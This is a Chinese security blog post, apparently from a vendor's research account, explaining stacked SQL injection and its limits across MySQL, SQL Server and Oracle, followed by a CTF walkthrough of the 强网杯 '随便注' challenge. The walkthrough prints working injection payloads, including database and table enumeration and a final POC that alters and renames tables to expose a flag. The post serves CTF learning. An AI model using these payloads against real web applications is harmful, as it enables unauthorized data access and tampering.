前些天刷题的时候刷到的一个堆叠注入的题,由于堆叠注入的局限性,并不是任何环境下都可以执行,所以突发奇想,到底什么前提下可以使用堆叠注入。
应用场景
在SQL中,分号是用来表示一条sql语句的结束,在;结束一个sql语句后继续构造下一条语句,是否会一起执行,这就是堆叠注入。对比union执行语句类型的局限性,堆叠注入可以执行任意语句。但堆叠注入也存在一些限制:
API或数据库引擎不支持
Mysql
尝试使用堆叠注入创建一个表
发现创建成功
Sql server
尝试使用堆叠注入创建一个表
test表创建成功
Oracle
尝试使用堆叠注入创建一个表
测试两条语句报错
权限不足
当权限不足的情况下使用堆叠注入,分号后语句如没有权限执行,则会报错,此时页面正常返回。
返回结果
堆叠注入通常在前面的sql语句正常执行后再执行第二个语句,但由于web页面通常只能返回一个查询结果,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果。
强网杯-随便注
从赛题中学习堆叠注入
首先fuzz后发现题目存在大量过滤,并且直接返回列表数据
故尝试堆叠注入,'闭合前面语句,首先查看数据库
1';show databases;#
看表
1';show tables from supersqli;#
查看内容
1';show columns from `1919810931114514`;
发现flag字段,无法继续用语句查看内容
查看word表
1';show columns from words;
发现有两个字段,查询也是两个字段,所以猜测word为默认查询的表,尝试修改表名
rename
rename:修改表的名称
RENAME TABLE old_table_name TO new_table_name;
首先可以将word改名,再将1919810931114514改名为word
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`;#
改名后发现缺少id字段
alert
alert:向表中添加字段
Alter table [table_name] add [columns_name] 类型
添加字段id,即可(需要先添加再修改名字为word,否则第一条语句报错,无法继续堆叠注入)
1';alter table `1919810931114514` add `id` varchar(100);#
POC
1';alter table `1919810931114514` add `id` varchar(100);rename tables `words` to `words1`;rename tables `1919810931114514` to `words`;#
山石网科是中国网络安全行业的技术创新领导厂商,自成立以来一直专注于网络安全领域前沿技术的创新,提供包括边界安全、云安全、数据安全、内网安全在内的网络安全产品及服务,致力于为用户提供全方位、更智能、零打扰的网络安全解决方案。山石网科为金融、政府、运营商、互联网、教育、医疗卫生等行业累计超过18,000家用户提供高效、稳定的安全防护。山石网科在苏州、北京和美国硅谷均设有研发中心,业务已经覆盖了中国、美洲、欧洲、东南亚、中东等50多个国家和地区。
本文始发于微信公众号(山石网科安全技术研究院):从赛题了解堆叠注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论